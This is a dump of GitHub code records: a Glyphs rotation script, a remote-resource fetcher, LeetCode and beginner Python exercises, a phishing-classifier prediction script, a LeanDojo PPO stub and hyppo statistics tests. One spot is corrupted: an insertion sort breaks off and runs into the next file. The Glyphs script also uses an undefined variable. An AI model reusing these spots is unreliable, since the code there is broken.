LoadPreferences(self):\n\t\ttry:\n\t\t\tself.w.rotate_degrees.set(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.rotate_degrees\"])\n\t\t\tself.w.stepAndRepeat_times.set(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.stepAndRepeat_times\"])\n\t\t\tself.w.anchor_x.set(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_x\"])\n\t\t\tself.w.anchor_y.set(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_y\"])\n\t\t\treturn True\n\t\texcept:\n\t\t\treturn False\n\n\tdef insertRotateAnchor(self, sender=None):\n\t\ttry:\n\t\t\tselectedLayers = Glyphs.currentDocument.selectedLayers()\n\t\t\tmyRotationCenter = NSPoint()\n\t\t\tmyRotationCenter.x = int(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_x\"])\n\t\t\tmyRotationCenter.y = int(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_y\"])\n\t\t\tmyRotationAnchor = GSAnchor(\"#%s\" % rotateAnchorName, myRotationCenter)\n\t\t\tfor thisLayer in selectedLayers:\n\t\t\t\t# adds '#rotate' if it doesn't exist, resets it if it exists:\n\t\t\t\tthisLayer.addAnchor_(myRotationAnchor)\n\t\texcept Exception as e:\n\t\t\timport traceback\n\t\t\tprint(traceback.format_exc())\n\n\tdef updateRotateAnchor(self, sender=None):\n\t\ttry:\n\t\t\t# (#)rotate anchor present, including those shining through from components:\n\t\t\tselectedLayer = Glyphs.currentDocument.selectedLayers()[0]\n\t\t\tfor anchorName in (\"#%s\" % rotateAnchorName, rotateAnchorName):\n\t\t\t\tfor thisAnchor in selectedLayer.anchorsTraversingComponents():\n\t\t\t\t\tif thisAnchor.name == anchorName:\n\t\t\t\t\t\tself.w.anchor_x.set(int(thisAnchor.x))\n\t\t\t\t\t\tself.w.anchor_y.set(int(thisAnchor.y))\n\t\t\t\t\t\treturn\n\n\t\t\t# no anchor present:\n\t\t\tselectionRect = selectedLayer.boundsOfSelection()\n\t\t\tif selectionRect:\n\t\t\t\t# take center of selection:\n\t\t\t\tselectionCenter = centerOfRect(selectionRect)\n\t\t\t\tself.w.anchor_x.set(int(selectionCenter.x))\n\t\t\t\tself.w.anchor_y.set(int(selectionCenter.y))\n\t\t\t\tself.insertRotateAnchor()\n\t\t\telse:\n\t\t\t\t# no selection either: take origin\n\t\t\t\tself.w.anchor_x.set(0)\n\t\t\t\tself.w.anchor_y.set(0)\n\t\t\t\tself.insertRotateAnchor()\n\t\texcept Exception as e:\n\t\t\timport traceback\n\t\t\tprint(traceback.format_exc())\n\n\tdef rotationTransform(self, rotationCenter, rotationDegrees, rotationDirection):\n\t\ttry:\n\t\t\trotationX = rotationCenter.x\n\t\t\trotationY = rotationCenter.y\n\t\t\trotation = rotationDegrees * rotationDirection\n\t\t\tRotationTransform = NSAffineTransform.transform()\n\t\t\tRotationTransform.translateXBy_yBy_(rotationX, rotationY)\n\t\t\tRotationTransform.rotateByDegrees_(rotation)\n\t\t\tRotationTransform.translateXBy_yBy_(-rotationX, -rotationY)\n\t\t\treturn RotationTransform\n\t\texcept Exception as e:\n\t\t\timport traceback\n\t\t\tprint(traceback.format_exc())\n\n\tdef rotate(self, sender):\n\t\t# update settings to the latest user input:\n\t\tif not self.SavePreferences(self):\n\t\t\tprint(\"Note: 'Rotate Around Anchor' could not write preferences.\")\n\n\t\tselectedLayers = Glyphs.currentDocument.selectedLayers()\n\t\toriginatingButton = sender.getTitle()\n\n\t\tif \"ccw\" in originatingButton:\n\t\t\trotationDirection = 1\n\t\telse:\n\t\t\trotationDirection = -1\n\n\t\tif \"+\" in originatingButton:\n\t\t\trepeatCount = int(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.stepAndRepeat_times\"])\n\t\telse:\n\t\t\trepeatCount = 0\n\n\t\trotationDegrees = float(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.rotate_degrees\"])\n\t\trotationCenter = NSPoint(\n\t\t\tint(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_x\"]),\n\t\t\tint(Glyphs.defaults[\"com.mekkablue.rotateAroundAnchor.anchor_y\"]),\n\t\t\t)\n\n\t\tif len(selectedLayers) == 1:\n\t\t\tselectionCounts = True\n\t\telse:\n\t\t\tselectionCounts = False\n\n\t\tfor thisLayer in selectedLayers:\n\t\t\t# rotate individually selected nodes and components\n\t\t\ttry:\n\t\t\t\tthisGlyph = thisLayer.parent\n\t\t\t\tselectionCounts = selectionCounts and bool(thisLayer.selection) # True only if both are True\n\t\t\t\tRotationTransform = self.rotationTransform(rotationCenter, rotationDegrees, rotationDirection)\n\t\t\t\tprint(\"rotationCenter, rotationDegrees, rotationDirection:\", rotationCenter, rotationDegrees, rotationDirection)\n\t\t\t\tRotationTransformMatrix = RotationTransform.transformStruct()\n\n\t\t\t\t# thisGlyph.beginUndo() # undo grouping causes crashes\n\n\t\t\t\tif repeatCount == 0: # simple rotation\n\t\t\t\t\tfor thisThing in selection:\n\t\t\t\t\t\tthisLayer.transform_checkForSelection_doComponents_(RotationTransform, selectionCounts, True)\n\t\t\t\telse: # step and repeat paths and components\n\t\t\t\t\tnewPaths, newComps = [], []\n\t\t\t\t\tfor i in range(repeatCount):\n\t\t\t\t\t\tfor thisPath in thisLayer.paths:\n\t\t\t\t\t\t\tif thisPath.selected or not selectionCounts:\n\t\t\t\t\t\t\t\trotatedPath = thisPath.copy()\n\t\t\t\t\t\t\t\tfor j in range(i + 1):\n\t\t\t\t\t\t\t\t\trotatedPath.applyTransform(RotationTransformMatrix)\n\t\t\t\t\t\t\t\tnewPaths.append(rotatedPath)\n\t\t\t\t\t\tfor thisComp in thisLayer.components:\n\t\t\t\t\t\t\tif thisComp.selected or not selectionCounts:\n\t\t\t\t\t\t\t\trotatedComp = thisComp.copy()\n\t\t\t\t\t\t\t\tfor j in range(i + 1):\n\t\t\t\t\t\t\t\t\trotatedComp.applyTransform(RotationTransformMatrix)\n\t\t\t\t\t\t\t\tnewComps.append(rotatedComp)\n\t\t\t\t\tfor newPath in newPaths:\n\t\t\t\t\t\tthisLayer.paths.append(newPath)\n\t\t\t\t\tfor newComp in newComps:\n\t\t\t\t\t\tthisLayer.components.append(newComp)\n\n\t\t\t\t# thisGlyph.endUndo() # undo grouping causes crashes\n\t\t\texcept Exception as e:\n\t\t\t\timport traceback\n\t\t\t\tprint(traceback.format_exc())\n\nRotator()\n","repo_name":"mekkablue/Glyphs-Scripts","sub_path":"Paths/Rotate around anchor.py","file_name":"Rotate around anchor.py","file_ext":"py","file_size_in_byte":9084,"program_lang":"python","lang":"en","doc_type":"code","stars":364,"dataset":"github-code","pt":"25"} +{"seq_id":"41146598138","text":"import gevent\nimport gevent.pool\n\nimport base64\nimport json\nimport tempfile\nimport requests\nfrom requests.auth import HTTPBasicAuth\nimport tarfile\nimport zipfile\nimport google.cloud.storage\nfrom google.oauth2 import service_account\n\nclass AuthenticatedResourceLocator( object ):\n _supportedMethods = {\n 'http' : set( (\n 'basic',\n 'bearer',\n 'token',\n 'otx',\n ) ),\n 'https' : set( (\n 'basic',\n 'bearer',\n 'token',\n 'otx',\n ) ),\n 'gcs' : set( (\n 'gaia',\n ) ),\n 'github' : set( (\n 'token',\n ) ),\n }\n\n def __init__( self, arlString, maxSize = None, maxConcurrent = 5 ):\n self._arlString = arlString\n self._maxSize = maxSize\n self._maxConcurrent = maxConcurrent\n\n self._methodCallbacks = {\n 'http' : self._doHttp,\n 'https' : self._doHttp,\n 'gcs' : self._doGcs,\n 'github' : self._doGithub,\n }\n\n self._methodName = None\n self._methodDest = None\n self._authType = None\n self._authData = None\n\n # This is a shortcut for backwards compatibility.\n if self._arlString.startswith( 'https://' ):\n self._methodName = 'https'\n self._methodDest = self._arlString\n else:\n # Proper parsing of the format.\n if not self._arlString.startswith( '[' ) and self._arlString.endswith( ']' ):\n raise SyntaxError( \"Invalid ARL string, must start with https:// or be a valid [ARL].\")\n info = [ x.strip() for x in self._arlString[ 1 : -1 ].split( ',' ) ]\n if len( info ) != 4 and len( info ) != 2:\n raise SyntaxError( \"Invalid number of components in ARL, should be 2 or 4.\" )\n self._methodName = info[ 0 ].lower()\n self._methodDest = info[ 1 ]\n if 4 == len( info ):\n self._authType = info[ 2 ].lower()\n self._authData = info[ 3 ]\n\n if self._methodName not in self._supportedMethods:\n raise NotImplementedError( \"Method %s not supported.\" % ( self._methodName, ) )\n\n if self._authType is not None and self._authType not in self._supportedMethods[ self._methodName ]:\n raise NotImplementedError( \"Auth type not supported: %s.\" % ( self._authType, ) )\n\n def __iter__( self ):\n return self._methodCallbacks[ self._methodName ]()\n\n def _getTempFile( self ):\n # The temp files get deleted on close (or GC).\n return tempfile.NamedTemporaryFile( mode = 'r+b' )\n\n def _parallelExec( self, f, objects, timeout = None, maxConcurrent = None ):\n def _retExecOrExc( f, o, timeout ):\n try:\n if timeout is None:\n return f( o )\n else:\n with gevent.Timeout( timeout ):\n return f( o )\n except ( Exception, gevent.Timeout ) as e:\n return e\n\n g = gevent.pool.Pool( size = maxConcurrent )\n return g.imap_unordered( lambda o: _retExecOrExc( f, o, timeout ), objects )\n\n def __enter__( self ):\n return self\n\n def __exit__( self, type, value, traceback ):\n return\n\n def _doHttp( self ):\n fullUrl = self._methodDest\n if 'http' == self._methodName and not fullUrl.startswith( \"http://\" ):\n fullUrl = \"http://%s\" % ( fullUrl, )\n if 'https' == self._methodName and not fullUrl.startswith( \"https://\" ):\n fullUrl = \"https://%s\" % ( fullUrl, )\n\n if self._authType is None:\n response = requests.get( fullUrl )\n elif 'basic' == self._authType:\n userName, password = self._authData.split( ':', 1 )\n response = requests.get( fullUrl, auth = HTTPBasicAuth( userName, password ) )\n elif 'bearer' == self._authType:\n response = requests.get( fullUrl, headers = { 'Authorization' : \"bearer %s\" % ( self._authData, ) } )\n elif 'token' == self._authType:\n response = requests.get( fullUrl, headers = { 'Authorization' : \"token %s\" % ( self._authData, ) } )\n elif 'otx' == self._authType:\n response = requests.get( fullUrl, headers = { 'X-OTX-API-KEY' : self._authData } )\n else:\n raise NotImplementedError( \"Auth %s not supported.\" % ( self._authType, ) )\n\n response.raise_for_status()\n\n hFile = self._getTempFile()\n\n nTotal = 0\n for data in response.iter_content( 1024 * 512 ):\n hFile.write( data )\n nTotal += len( data )\n if self._maxSize is not None and nTotal > self._maxSize:\n raise RuntimeError( \"Maximum resource size reached.\" )\n\n hFile.flush()\n hFile.seek( 0 )\n\n for fileName, fileContent in self._multiplexContent( hFile ):\n yield ( '%s%s' % ( fullUrl, fileName if fileName is not None else '' ), fileContent )\n\n def _doGcs( self ):\n if 'gaia' == self._authType:\n try:\n creds = base64.b64decode( self._authData )\n except:\n raise SyntaxError( \"Gaia auth data should be base64 encoded.\" )\n try:\n creds = json.loads( creds )\n except:\n raise SyntaxError( \"Gaia auth data should be a JSON.\" )\n creds = service_account.Credentials.from_service_account_info( creds )\n else:\n raise NotImplementedError( \"Auth %s not supported.\" % ( self._authType, ) )\n\n client = google.cloud.storage.Client( credentials = creds )\n\n # Normalize the bucket + path for simplicity.\n bucketPath = self._methodDest\n if '/' not in bucketPath:\n bucketPath += '/'\n bucketName, bucketPath = bucketPath.split( '/', 1 )\n\n bucket = client.bucket( bucketName )\n\n blobs = [ _ for _ in bucket.list_blobs( prefix = bucketPath ) ]\n\n if self._maxSize is not None:\n for blob in blobs:\n if blob.size > self._maxSize:\n raise RuntimeError( \"Maximum resource size reached.\" )\n\n if 1 == len( blobs ):\n # We will multiplex potential archive files only\n # if they were requested directly, otherwise we assume\n # the user wanted all the file referenced.\n hFile = self._getTempFile()\n blobs[ 0 ].download_to_file( hFile )\n for fileName, fileContent in self._multiplexContent( hFile ):\n yield ( '%s%s' % ( self._methodDest, fileName if fileName is not None else '', ), fileContent )\n else:\n def _downloadBlob( blob ):\n return ( blob.path, blob.download_as_string() )\n\n for result in self._parallelExec( _downloadBlob, blobs, maxConcurrent = self._maxConcurrent ):\n if isinstance( result, Exception ):\n raise result\n yield result\n\n def _doGithub( self ):\n repoParams = ''\n if '?' in self._methodDest:\n newRoot, repoParams = self._methodDest.split( '?', 2 )\n self._methodDest = newRoot\n repoParams = '?' + repoParams\n components = self._methodDest.split( '/', 2 )\n if 2 == len( components ):\n repoOwner, repoName = components\n repoPath = ''\n elif 3 == len( components ):\n repoOwner, repoName, repoPath = components\n else:\n raise SyntaxError( 'Github destination should be \"repoOwner/repoName\" or \"repoOwner/repoName/repoSubDir\".')\n\n if repoPath.endswith( '/' ):\n repoPath = repoPath[ 0 : -1 ]\n\n fullUrl = 'https://api.github.com/repos/%s/%s/contents/' % ( repoOwner, repoName )\n\n headers = None\n if self._authType is None:\n pass\n elif 'token' == self._authType:\n headers = { 'Authorization' : \"token %s\" % ( self._authData, ) }\n else:\n raise NotImplementedError( \"Auth %s not supported.\" % ( self._authType, ) )\n\n def _listAllGithubFiles( subPath, allPaths, repoParams ):\n thisUrl = '%s%s%s%s' % ( fullUrl, '/' if subPath != '' else '', subPath, repoParams )\n response = requests.get( thisUrl, headers = headers )\n response.raise_for_status()\n\n files = response.json()\n\n # If the listing path was a single file\n # we normalize it.\n if isinstance( files, dict ):\n files = [ files ]\n\n # Recurse as needed.\n for f in files:\n if 'dir' == f[ 'type' ]:\n _listAllGithubFiles( f[ 'path' ], allPaths, repoParams )\n elif 'file' == f[ 'type' ] and 0 != f[ 'size' ]:\n if self._maxSize is not None and f[ 'size' ] > self._maxSize:\n raise RuntimeError( \"Maximum resource size reached.\" )\n allPaths.append( ( f[ 'path' ], f[ 'download_url' ] ) )\n\n allPaths = []\n _listAllGithubFiles( repoPath, allPaths, repoParams )\n\n def _downloadFile( filePath, fileUrl ):\n hFile = self._getTempFile()\n\n response = requests.get( fileUrl, headers = headers )\n response.raise_for_status()\n\n for data in response.iter_content( 1024 * 512 ):\n hFile.write( data )\n\n hFile.flush()\n hFile.seek( 0 )\n\n return ( filePath, hFile )\n\n for result in self._parallelExec( lambda x: _downloadFile( x[ 0 ], x[ 1 ] ), allPaths, maxConcurrent = self._maxConcurrent ):\n if isinstance( result, Exception ):\n raise result\n\n filePath, hFile = result\n\n for fileName, fileContent in self._multiplexContent( hFile ):\n # We explode archives through multiplexing here too\n # so we generate a new subpath to report.\n yield ( '%s%s' % ( filePath, fileName if fileName is not None else '', ), fileContent )\n\n def _multiplexContent( self, hFile ):\n # Start testing different formats.\n hFile.seek( 0 )\n if tarfile.is_tarfile( hFile.name ):\n try:\n with tarfile.open( fileobj = hFile ) as f:\n for member in f.getmembers():\n # We only care about files.\n if not member.isfile():\n continue\n yield ( '/' + member.name, f.extractfile( member ).read() )\n except:\n raise\n return\n\n hFile.seek( 0 )\n if zipfile.is_zipfile( hFile ):\n try:\n with zipfile.ZipFile( hFile ) as f:\n for fileName in f.namelist():\n # We only care about files.\n if f.getinfo( fileName ).is_dir():\n continue\n yield ( '/' + fileName, f.read( fileName ) )\n except:\n raise\n return\n\n # All auto-detection failed, we assume\n # it's just a blob of data.\n hFile.seek( 0 )\n yield ( None, hFile.read() )","repo_name":"refractionPOINT/authenticated_resource_locator","sub_path":"arl/AuthenticatedResourceLocator.py","file_name":"AuthenticatedResourceLocator.py","file_ext":"py","file_size_in_byte":11257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"70034267907","text":"\"\"\"721. Accounts Merge\nhttps://leetcode.com/problems/accounts-merge/\n\"\"\"\nimport collections\nfrom typing import List\n\n\nclass Solution:\n def accounts_merge(self, accounts: List[List[str]]) -> List[List[str]]:\n def union(a: int, b: int):\n uf[find(a)] = find(b)\n\n def find(x: int) -> int:\n if uf[x] != x:\n uf[x] = find(uf[x])\n return uf[x]\n\n n = len(accounts)\n uf = list(range(n))\n email_dict = {} # key is email, value is the `first` index of accounts which has the key email\n for i in range(n):\n account = accounts[i]\n for j in range(1, len(account)):\n if account[j] not in email_dict:\n email_dict[account[j]] = i\n else:\n union(email_dict[account[j]], i)\n graphs = collections.defaultdict(list)\n for i in range(n):\n graphs[find(i)].append(i)\n ans = []\n for idx, idx_list in graphs.items():\n cur = [accounts[idx][0]]\n emails = set()\n for i in idx_list:\n emails.update(accounts[i][1:])\n emails = list(emails)\n emails.sort()\n cur.extend(emails)\n ans.append(cur)\n return ans\n","repo_name":"isudox/nerd-algo","sub_path":"python-algo/leetcode/problem_721.py","file_name":"problem_721.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"25"} +{"seq_id":"21968660082","text":"import numpy as np\r\nimport pickle\r\n\r\n#load the saved model\r\nloaded_model=pickle.load(open(\"D:/Courses/iNeuron/ML_webapp/trained_model.sav\",\"rb\"))\r\n\r\ninput_data=(892,2 , -1, -1, 8, 2, 25,1)\r\n#change the input_data to numpy array\r\ninput_data_numpy=np.asarray(input_data)\r\n\r\n#reshape the array\r\ninput_data_reshaped=input_data_numpy.reshape(1,-1)\r\n\r\nprediction=loaded_model.predict(input_data_reshaped)\r\nprint(prediction)\r\n\r\nif (prediction[0]==0):\r\n print(\"Not Phishing Website\")\r\nelse:\r\n print(\"Phishing Website\")\r\n","repo_name":"Sri-HariHaran-R/Phishing-Domain-Detection","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"1950629658","text":"import random\n\"\"\"\n#Task1\ndef guess_random_number(tries, start, stop):\n random_num = random.randint(start, stop)\n\n while tries != 0:\n print(f\"Number of tries left: {tries}\")\n guess_num = int(input(f\"Guess a number between {start} and {stop}: \"))\n\n if guess_num == random_num:\n print(\"You gussed the correct number!\")\n continue\n\n elif guess_num > random_num:\n print(\"Guess Lower!\")\n continue\n\n elif guess_num < random_num:\n print(\"Guess Higher!\")\n continue\n\n tries -= 1\n\n print(\"Sorry, you failed to guess the number.\")\n\n\n#guess_random_number(5, 0, 10)\n\n\"\"\"\n# task:2 Linear\n\"\"\"\n\ndef guess_random_num_linear(tries, start, stop):\n target_num = random.randint(start, stop)\n print(f\"The number for the program to guess is: {target_num}\")\n\n for num in range(start, stop+1):\n print(f\"Number of tries left: {tries}\")\n rand_num = num # Each guess is one integer from the potential range\n\n print(f\"The program is guessing.... {rand_num}\")\n\n if rand_num == target_num:\n print(\"The program has guessed the correct number!\")\n return\n\n tries -= 1\n\n if tries == 0:\n print(\"No more tries left. The program couldn't guess the number.\")\n return\n\n\n# Test driver code\nguess_random_num_linear(5, 0, 10)\n\n\"\"\"\n\n# Task3\n\n\ndef guess_random_num_binary(tries, start, stop):\n target_num = random.randint(start, stop)\n print(f\"Random number to find: {target_num}\")\n\n lower_bound = start\n upper_bound = stop\n\n while tries > 0:\n print(f\"Number of tries left: {tries}\")\n pivot_val = (lower_bound + upper_bound) // 2\n\n if pivot_val == target_num:\n print(f\"The program has guessed the correct number: {pivot_val}\")\n return\n\n elif pivot_val < target_num:\n print(\"Guessing Higher!\")\n lower_bound = pivot_val + 1\n\n else:\n print(\"Guessing Lower!\")\n upper_bound = pivot_val - 1\n\n tries -= 1\n\n print(\"No more tries left. The program couldn't guess the number.\")\n\n\n# Test driver code\nguess_random_num_binary(5, 0, 100)\n","repo_name":"kachow0001/HangmanGame-and-Sorting-and-linear-Alg","sub_path":"workshop5.py","file_name":"workshop5.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"25747994421","text":"#SORTING\ndef bubblesort(lst):\n for i in range(len(lst)-1):\n for j in range(len(lst)-1):\n if lst[j] > lst[j+1]:\n lst[j],lst[j+1] = lst[j+1],lst[j]\n \n return lst\n\n\ndef insertionsort(lst):\n for i in range(1,len(lst)):\n key = lst[i]\n j = i-1\n while j>=0 and key \"lean4\"\nmodel = AutoModelForSeq2SeqLMWithValueHead.from_pretrained(\"kaiyuy/leandojo-lean4-tacgen-byt5-small\") \nmodel_ref = AutoModelForSeq2SeqLMWithValueHead.from_pretrained(\"kaiyuy/leandojo-lean4-tacgen-byt5-small\")\n# ある程度学習が進んだら PPOTrainer(config, model, model_ref, tokenizer) -> PPOTrainer(config, model_ref, model_ref_new, tokenizer)とかにするのアリかも\ntokenizer.pad_token = tokenizer.eos_token \n# 2. initialize trainer\nppo_config = {\"batch_size\": 1}\nconfig = PPOConfig(**ppo_config)\nppo_trainer = PPOTrainer(config, model, model_ref, tokenizer)\n\n#datasetをランダムにする必要あり?+並列処理\ndef train(dataset):\n for i in range(len(dataset)):\n if dataset [i][3] == None:\n continue\n else:\n state = dataset[i][0].pp\n tokenized_state = tokenizer(state, return_tensors=\"pt\")\n tactic = dataset[i][1]\n reward = [torch.tensor(float(dataset[i][3]))]\n tokenized_tactic = tokenizer(tactic, return_tensors=\"pt\")\n train_stats = ppo_trainer.step([tokenized_state['input_ids'][0]], [tokenized_tactic['input_ids'][0]], reward)","repo_name":"tukamilano/Lean_dojo_playground","sub_path":"interact/transformer1.py","file_name":"transformer1.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"27716049523","text":"# Joe Schmoe\n# 20\n# Brown\n\n# no lists, no data structure. pls don't do this!\nprint('')\nprint(\"Single vars:\")\nfname = \"Joe\"\nlname = \"Schmoe\"\nage = 20\nhair = \"brown\"\n\nfname2 = \"Joe\"\nlname2 = \"Schmoe\"\nage2 = 20\nhair2 = \"brown\"\n\nprint(fname, lname, age, hair)\nprint(fname2, lname2, age2, hair2) # ew!\n\n# using lists. A little better!!\nprint('')\nprint(\"lists:\")\nperson = [\"Joe\", \"Schmoe\", 20, \"brown\"]\nperson2 = [\"Joe\", \"Schmoe\", 20, \"brown\"]\n\npeople = [person, person2]\n\nfor p in people:\n print(p) # print person. MUCH better.\n\n# using classes. a very good solution (not the 'best', as that's an opinion)\nprint('')\nprint('classes:')\n\n\nclass Person:\n def __init__(self, fn, ln, age, hc):\n self.firstname = fn\n self.lastname = ln\n self.age = age\n self.hair = hc\n\n def __str__(self):\n return \"{} {} is {} years old and has {} hair.\".format(\n self.firstname, self.lastname, self.age, self.hair)\n\n\npeople = [\n Person('joe', 'schmoe', 20, 'brown'),\n Person('sally', 'jane', 20, 'red'), # assignment is very easy!\n]\n\nfor p in people:\n print(str(p)) # yay!\n","repo_name":"HenryFBP/examples","sub_path":"python3/why_use_classes.py","file_name":"why_use_classes.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"25"} +{"seq_id":"8291607949","text":"# if condition\na = 3\nif a > 0:\n print('A is a positive number')\n \n# if else\nif a < 0:\n print('A is a negative number')\nelse:\n print('A is a positive number')\n \n# if elif else\na = 0\nif a < 0:\n print('A is a negative number')\nelif a > 0:\n print('A is a positive number')\nelse:\n print('A is zero')\n\n# if statements all in one line\na = 3\nprint('A is positive') if a > 0 else print('A is negative')\n\n# nested conditions\na = 0\nif a > 0:\n if a % 2 == 0:\n print('A is a positive and even integer')\n else:\n print('A is a positive number')\nelif a == 0:\n print('A is zero')\nelse:\n print('A is a negative number')\n\n# if with and operator\na = 0\nif a > 0 and a % 2 == 0:\n print('A is an even and positive integer')\nelif a > 0 and a % 2 != 0:\n print('A is a positive integer')\nelif a == 0:\n print('A is zero')\nelse:\n print('A is negative') \n\n# if with or operator\nuser = 'James'\naccess_level = 4\nif user == 'admin' or access_level >= 4:\n print('Access Granted!')\nelse:\n print('Access Denied!')\n\n# Exercises\n# get user input if user is 18 or older and give feedback\nage = input(\"Enter your age: \")\nage = int(age)\nmissing_years = 0\nif age >= 18:\n print(\"You are old enough to know how to drive\")\nelse:\n missing_years = 18 - age\n print(\"You need {} more years to learn to drive\".format(missing_years))\n\n# compare the values of my age and your age\nmy_age = 27\nyour_age = input(\"Enter your age: \")\nyour_age = int(your_age)\ndifference = 0\nif your_age > my_age:\n difference = your_age - my_age\n if difference == 1:\n print(\"You are 1 year older than me.\")\n else:\n print(\"You are {} years older than me.\".format(difference))\nelif your_age < my_age:\n difference = my_age - your_age\n if difference == 1:\n print(\"You are 1 year younger than me.\")\n else:\n print(\"You are {} years younger than me.\".format(difference))\nelse:\n print(\"We are the same age!\")\n\n# get two numbers from input and check which is greater, less or equal\na = input(\"Choose a number: \")\na = int(a)\nb = input(\"Choose a second number: \")\nb = int(b)\nif a > b:\n print(\"{} is greater than {}\".format(a,b))\nelif a < b:\n print(\"{} is less than {}\".format(a,b))\nelse:\n print(\"{} is equal to {}\".format(a,b))\n\n# grade students based on scores\ngrade = input(\"What was your grade on the test: \")\ngrade = int(grade)\nif grade <= 100 and grade >= 90:\n print(\"You got an A!\")\nelif grade < 90 and grade >= 80:\n print(\"You got an B!\")\nelif grade < 80 and grade >= 70:\n print(\"You got an C.\")\nelif grade < 70 and grade >= 60:\n print(\"You got an D.\")\nelif grade > 100 or grade < 0:\n print(\"Please try again with a score between 0-100\")\nelse:\n print(\"You got an F.\")\n\n# check what season it is\nautumn = ['September', 'October', 'November']\nwinter = ['December', 'January', 'February']\nspring = ['March', 'April', 'May']\nsummer = ['June', 'July', 'August']\nmonth = input(\"What month is it?: \")\nif month in autumn:\n print(\"The season is autumn\")\nelif month in winter:\n print(\"The season is winter\")\nelif month in spring:\n print(\"The season is spring\")\nelif month in summer:\n print(\"The season is summer\")\nelse:\n print(\"Try again and make sure to capitalize first letter of the month\")\n\n# add new fruit if not already in list\nfruits = ['banana', 'orange', 'mango', 'lemon']\nfruit = input(\"What is your favorite fruit?: \")\nif fruit not in fruits:\n fruits.append(fruit)\n print(fruits)\nelse:\n print('That fruit already exists in the list')\n\n# check if person has skills key, print middle skill\nperson={\n 'first_name': 'Asabeneh',\n 'last_name': 'Yetayeh',\n 'age': 250,\n 'country': 'Finland',\n 'is_married': True,\n 'skills': ['JavaScript', 'React', 'Node', 'MongoDB', 'Python'],\n 'address': {\n 'street': 'Space street',\n 'zipcode': '02210'\n }\n }\nmiddle = int(len(person[\"skills\"]) / 2)\nif \"skills\" in person:\n middle_skill = person[\"skills\"][middle]\n print(\"This person's middle skill is {}\".format(middle_skill))\n\n# check if person has python in skills list\nif \"skills\" in person:\n if \"Python\" in person[\"skills\"]:\n print(\"This person has Python in their skills\")\n\n# check what kind of developer they are based on listed skills\nif \"MongoDB\" in person[\"skills\"] and \"Node\" in person[\"skills\"]:\n if \"React\" in person[\"skills\"]:\n print(\"This person is a full stack developer\")\n elif \"Python\" in person[\"Skills\"]:\n print(\"This person is a backend developer\")\nelif \"Javascript\" in person[\"skills\"]:\n print(\"This person is a frontend developer\")\nelse:\n print(\"This person's title is unknown\")\n\n# check if they are married and where they live\nif person[\"is_married\"]:\n country = person[\"country\"]\n name = person[\"first_name\"]\n print(\"{} lives in {}. He is married\".format(name, country))\n\n","repo_name":"kamieliz/30-Days-of-Python","sub_path":"Day 5/day5-conditionals.py","file_name":"day5-conditionals.py","file_ext":"py","file_size_in_byte":4868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"25"} +{"seq_id":"3499900347","text":"import numpy as np\nimport pytest\nfrom numpy.testing import assert_almost_equal, assert_raises\n\nfrom ...tools import power, rot_ksamp\nfrom .. import KSample\n\n\nclass TestKSample:\n @pytest.mark.parametrize(\n \"n, obs_stat, obs_pvalue, indep_test\",\n [(1000, 4.28e-7, 1.0, \"CCA\"), (100, 0.045646974150778084, 0.001, \"Dcorr\")],\n )\n def test_twosamp_linear_oned(self, n, obs_stat, obs_pvalue, indep_test):\n np.random.seed(123456789)\n x, y = rot_ksamp(\"linear\", n, 1, k=2)\n stat, pvalue = KSample(indep_test).test(x, y)\n\n assert_almost_equal(stat, obs_stat, decimal=1)\n assert_almost_equal(pvalue, obs_pvalue, decimal=1)\n\n def test_rf(self):\n np.random.seed(123456789)\n x, y = rot_ksamp(\"linear\", 50, 1, k=2)\n stat, _, _ = KSample(\"KMERF\").test(x, y, reps=0)\n\n assert_almost_equal(stat, 0.27140550503906097, decimal=1)\n\n def test_maxmargin(self):\n np.random.seed(123456789)\n x, y = rot_ksamp(\"linear\", 50, 1, k=2)\n stat, _ = KSample([\"MaxMargin\", \"Dcorr\"]).test(x, y, reps=0)\n\n assert_almost_equal(stat, 0.0317, decimal=1)\n\n @pytest.mark.parametrize(\n \"n, obs_stat, obs_pvalue, indep_test\",\n [(100, 8.24e-5, 0.001, \"Dcorr\")],\n )\n def test_rep(self, n, obs_stat, obs_pvalue, indep_test):\n x, y = rot_ksamp(\"linear\", n, 1, k=2)\n stat, pvalue = KSample(indep_test).test(x, y)\n stat2, pvalue2 = KSample(indep_test).test(x, y)\n\n assert stat == stat2\n assert pvalue == pvalue2\n\n\nclass TestKSampleErrorWarn:\n \"\"\"Tests errors and warnings derived from MGC.\"\"\"\n\n def test_no_indeptest(self):\n # raises error if not indep test\n assert_raises(ValueError, KSample, \"abcd\")\n\n def test_no_second_maxmargin(self):\n np.random.seed(123456789)\n x, y = rot_ksamp(\"linear\", 50, 1, k=2)\n assert_raises(ValueError, KSample, [\"MaxMargin\", \"abcd\"])\n\n\nclass TestKSampleTypeIError:\n def test_oned(self):\n np.random.seed(123456789)\n est_power = power(\n \"CCA\",\n sim_type=\"ksamp\",\n sim=\"multimodal_independence\",\n k=2,\n n=100,\n p=1,\n alpha=0.05,\n auto=True,\n )\n\n assert_almost_equal(est_power, 0.05, 